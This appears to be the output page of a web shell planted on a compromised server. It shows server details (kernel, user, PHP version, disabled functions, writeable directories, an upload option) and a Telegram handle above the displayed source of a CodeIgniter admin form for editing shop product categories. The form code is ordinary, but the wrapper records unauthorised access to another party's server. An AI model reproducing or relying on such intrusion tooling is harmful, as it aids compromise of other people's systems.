https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/rabbithabit.com/public_html/application/views/admin/categories/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/rabbithabit.com/public_html/application/views/admin/categories/edit.php
<div class="row">
    <div class="col-sm-12">
         <a href="<?= base_url('admin/categories'); ?>"><i class="fa fa-arrow-left" aria-hidden="true"></i> Kembali ke Daftar Kategori Produk</a><br><br>
         <h4><?= empty($categories->id_categories) ? 'Tambah Kategori Produk' : 'Edit Kategori Produk: '. $categories->category; ?></h4>
        <?= $this->session->flashdata('success'); //to display success message ?> 
        <?= validation_errors(); ?>
  </div><!-- end class="col-sm-12" -->  
</div> <!-- end row --> 

<?= form_open_multipart(); ?>

<div class="row">
    <div class="col-sm-3">
        <p>Aktif ?</p>
    </div><!-- end class="col-sm-3" -->
    <div class="col-sm-9">
        <?php
            $options = array( 
                1  => 'Ya',
                0    => 'Tidak'
            );
            echo form_dropdown('status', $options, $categories->status, 'class="form-control"');
        ?>   
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->   

<div class="row">
    <div class="col-sm-3">
        <p>Nama Kategori Produk</p>
    </div><!-- end class="col-sm-3" -->
    <div class="col-sm-9">
        
        <div class="tabbable">

          <ul class="nav nav-tabs">
              <li class="active"><a href="#category_id" data-toggle="tab">Indonesia</a></li>
              <li><a href="#category_en" data-toggle="tab">Inggris</a></li>
          </ul>

          <div class="tab-content">
            
             <div class="tab-pane active" id="category_id">
                <p>
                <?php
                $data = array(
                    'name'        => 'category_name',
                    'value'       => $categories->category,
                    'class'       => 'form-control'
                );
                echo form_input($data); ?>
                <?= form_error('category_name'); ?></p>
             </div><!-- end  id="#description_id" -->

              <div class="tab-pane" id="category_en">
               <p>
                <?php
                $data = array(
                    'name'        => 'category_name_en',
                    'value'       => $categories->category_en,
                    'class'       => 'form-control'
                );
                echo form_input($data); ?>
                <?= form_error('category_name_en'); ?></p>
             </div><!-- end  id="#description_id" -->
          </div><!-- end class tab-content-->  
        </div><!-- end tabbable -->

    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->  

<div class="row">
    <div class="col-sm-3">
        <p>Turunan (Sub) Dari</p>
    </div><!-- end class="col-sm-3" -->
    <div class="col-sm-9">
       <select name="parent_id" class="form-control" id="chooseCategory">        
               
                <option value="no-parent"  
                
                <?php if ($categories->parent == NULL) : ?>
                   selected="selected"
                <?php endif; ?>

                >Tidak Ada</option>
                
                <?php foreach($parent_categories as $parent) : ?> 
                
                    <option value="<?= $parent->id_categories; ?>"

                    <?php if ($categories->parent == $parent->id_categories): ?>
                         selected="selected" 
                    <?php endif ?> 
                    
                    ><?= ucfirst($parent->category); ?></option> 

                    <?php
                      $this->db->select('*')->from('categories')->where('parent', $parent->id_categories)->order_by('priority', 'ASC');
                      $child = $this->db->get()->result();
                    ?>

                    <?php foreach ($child as $child_category) : ?>

                      <option value="<?= $child_category->id_categories; ?>"

                      <?php if ($categories->parent == $child_category->id_categories): ?>
                           selected="selected" 
                      <?php endif ?> 
                      
                      >- <?= ucfirst($child_category->category); ?></option> 
                      
                    <?php endforeach; ?> 

                <?php endforeach; ?>      
              
              </select> 
              <p><?= form_error('parent_id'); ?></p> 
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->  

<div class="row">
    <div class="col-sm-3">
        <p>Gambar Banner
         <?php if (!empty($categories->image)) : ?>
            &nbsp;&nbsp;<img style="width:100px; height:auto;" src="<?= base_url() . 'uploads/category/' . $categories->image; ?>"  alt="" /><br>

            <p><i class="fa fa fa-trash-o" aria-hidden="true"></i> <a href="<?= base_url() . 'admin/categories/delete_image/' . $categories->id_categories; ?>">Hapus</a></p>
          <?php endif; ?> 
        </p>
    </div><!-- end class="col-sm-3" -->
    <div class="col-sm-9">
       <p><input type="file" name="banner_image1" size="20" class="form-control" /><br> 
        <?php
            //get max image width and height from configuration table
            $this->db->select('category_image_width, category_image_height')->from('configuration')->where('id_configuration', 1);
            $image_dimension = $this->db->get()->row();
        ?>
        <span style="font-size:12px; font-style: italic;">Ukuran  maks lebar <?= $image_dimension->category_image_width;?> pixel, tinggi <?= $image_dimension->category_image_height;?> pixel. Format jpg/jpeg/png/gif.  Ukuran maks 500KB</span>
        <span style="color:#F7931E;"><?php echo form_error('banner_image1'); ?></span></p>
    </div><!-- end class="col-sm-9" -->
  </div> <!-- end row -->  

  <div class="row">
    <div class="col-sm-3">
      <p> Banner Mobile 
        <?php if (!empty($categories->image_mobile)) : ?>
            &nbsp;&nbsp;<img style="width:100px; height:auto;" src="<?= base_url() . 'uploads/category/' . $categories->image_mobile; ?>"  alt="" /><br>

            <p><i class="fa fa fa-trash-o" aria-hidden="true"></i> <a href="<?= base_url() . 'admin/categories/delete_image_mobile/' . $categories->id_categories; ?>">Hapus</a></p>
          <?php endif; ?> 
      </p>
    </div>

    <div class="col-sm-9">
      <p><input type="file" name="banner_image2" size="20" class="form-control"><br>
         <?php
            //get max image width and height from configuration table
            $this->db->select('category_image_width, category_image_height')->from('configuration')->where('id_configuration', 1);
            $image_dimension = $this->db->get()->row();
        ?>
        <span style="font-size:12px; font-style: italic;">Ukuran  maks lebar 800 pixel, tinggi 500 pixel. Format jpg/jpeg/png/gif.  Ukuran maks 500KB</span>
        <span style="color:#F7931E;"><?php echo form_error('banner_image2'); ?></span>
      </p>
   </div><!-- end class="col-sm-9" -->
  </div> <!-- end row --> 

<div class="row">
    <div class="col-sm-3">
        <p>URL Link Banner<br>
          <span style="font-size: 12px">Tulis url lengkap (contoh: https://wwww.tokodaku.com/kategori)</span></p>
    </div><!-- end class="col-sm-3" -->
    <div class="col-sm-9">
        <p><?php
        $data = array(
            'name'        => 'banner_link',
            'value'       => $categories->banner_link,
            'class'       => 'form-control',
         );
        echo form_input($data); ?></p>
        <p><?= form_error('banner_link'); ?></p>
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row --> 

<div class="row">
    <div class="col-sm-3">
        <p>Urutan Tampilan (isi dengan angka)</p>
    </div><!-- end class="col-sm-3" -->
    <div class="col-sm-9">
        <p><?php
        $data = array(
            'name'        => 'priority',
            'value'       => $categories->priority,
            'class'       => 'form-control',
            'id'          => 'categoryOrdering'
         );
        echo form_input($data); ?></p>
        <p><?= form_error('priority'); ?></p>
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->  

<div class="row">
    <div class="col-sm-3">
        <p><strong>SEO (SEARCH ENGINE OPTIMIZATION)</strong></p>
    </div><!-- end class="col-sm-3" -->
    <div class="col-sm-9">
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row --> 

<div class="row">
    <div class="col-sm-3">
        <p>Judul Browser</p>
    </div><!-- end class="col-sm-3" --> 
    <div class="col-sm-9">
        <p><?php
        $data = array(
            'name'        => 'meta_title', 
            'value'       => $categories->meta_title,
            'class'       => 'form-control'
         );
        echo form_input($data); ?></p>
        <p><?= form_error('meta_title'); ?></p> 
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->  

<div class="row">
  <div class="col-sm-3">
      <p>Deskripsi<br>
      (Muncul di konten)</p>
  </div><!-- end class="col-sm-3" --> 
  <div class="col-sm-9">
      
      <div class="tabbable">

        <ul class="nav nav-tabs">
            <li class="active"><a href="#description_id" data-toggle="tab">Indonesia</a></li>
            <li><a href="#description_en" data-toggle="tab">Inggris</a></li>
        </ul>

        <div class="tab-content">
          
           <div class="tab-pane active" id="description_id">
              <p>
              <?php   $data = array( 
                  'name'        => 'description',
                  'class'       => 'form-control',
                  'value'       => $categories->description,   
                );
               ?>  
              <p><?php echo form_textarea($data); ?>
              <?php echo form_error('description'); ?></p>  
           </div>

            <div class="tab-pane" id="description_en">
              <?php   $data = array( 
                  'name'        => 'description_en',
                  'class'       => 'form-control',
                  'value'       => $categories->description_en,   
                );
              ?>  
              <p><?php echo form_textarea($data); ?>
              <?php echo form_error('description_en'); ?></p>  
           </div>
        </div><!-- end class tab-content-->  
      </div><!-- end tabbable -->

  </div><!-- end class="col-sm-9" -->
</div> <!-- end row --> 

<div class="row">
    <div class="col-sm-3">
        <p>Deskripsi Meta</p>
    </div><!-- end class="col-sm-3" -->
    <div class="col-sm-9">
        <p><?php
        $data = array(
            'name'        => 'meta_description',
            'value'       => $categories->meta_description,
            'class'       => 'form-control'
         );
        echo form_input($data); ?></p>
        <p><?= form_error('meta_description'); ?></p> 
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->  

<div class="row">
    <div class="col-sm-3">
    </div><!-- end class="col-sm-3" -->
    <div class="col-sm-9"> 
      <br>
      <?php if(empty($categories->id_categories)) : ?>
          <p><?= form_submit('submit', 'Simpan', 'class="btn btn-primary btn-success"'); ?>
      <?php else : ?>
          <p><?= form_submit('submit', 'Update', 'class="btn btn-primary btn-success"'); ?>
      <?php endif; ?>   
      &nbsp;&nbsp;&nbsp;<?= anchor('admin/categories', 'Batal', array('class' => 'btn btn-default')); ?></p>    
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->   

<?= form_close(); ?>

<script>
$(document).ready(function() {

    //to get ordering dynamically, when choosing categories
    $('#chooseCategory').change(function() {
        var id_parentcategory = $(this).val();
        load_data_ajax(id_parentcategory);
    });  

    var base_url = '<?= base_url(); ?>'; 
    var controller = 'admin/categories/';

    function load_data_ajax(id_parentcategory) { 
        $.ajax({
            'url'       : base_url + controller + 'ajax_get_ordering', 
            'type'      : 'POST',
            'data'      : {
                'id_parentcategory' : id_parentcategory,
                '<?= $this->security->get_csrf_token_name(); ?>' : '<?= $this->security->get_csrf_hash(); ?>'
            }, 
            'success'   : function(data) {
                var container = $('#categoryOrdering');
                if (data) { 
                    container.val(data);   //use val because insert into input form
                };
            }
        });
    }
});
</script>



https://t.me/RX1948 - 2025